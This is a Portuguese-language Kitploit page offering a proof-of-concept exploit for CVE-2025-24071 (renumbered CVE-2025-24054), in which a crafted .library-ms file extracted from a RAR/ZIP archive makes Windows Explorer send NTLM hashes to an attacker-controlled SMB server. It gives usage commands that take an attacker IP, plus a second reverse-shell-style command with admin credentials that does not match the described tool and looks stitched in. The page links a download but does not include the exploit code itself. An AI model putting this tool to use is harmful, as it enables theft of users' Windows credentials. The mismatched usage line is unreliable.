CVE-2025-24071 — Exploit de prova de conceito para CVE-2025-24071 (vazamento de hash NTLM via extração de arquivo .library-ms de arquivos RAR/ZIP). Dispara autenticação SMB na extração, revelando hashes NTLM para servidor controlado pelo atacante. | Kitploit

CVE-2025-24071_PoC

CVE-2025-24071: Vazamento de Hash NTLM via Extração de RAR/ZIP e Arquivo .library-ms

O Windows Explorer inicia automaticamente uma solicitação de autenticação SMB quando um arquivo .library-ms é extraído de um arquivo .rar, resultando na divulgação do hash NTLM. O usuário não precisa abrir ou executar o arquivo — apenas extraí-lo é suficiente para acionar o vazamento.

uso


>>python poc.py

>>enter file name: your file name

>>enter IP: attacker IP

>>python3 poc.py --url http://domainname.com --user admin --password password --reverse-ip 10.10.10.10 --reverse-port 8888

atualização:

Atualização: A Microsoft alterou seu número de CVE. O número de CVE anteriormente definido pela Microsoft, CVE-2025-24071, foi atualizado para CVE-2025-24054.🤷‍♂

Baixar ferramenta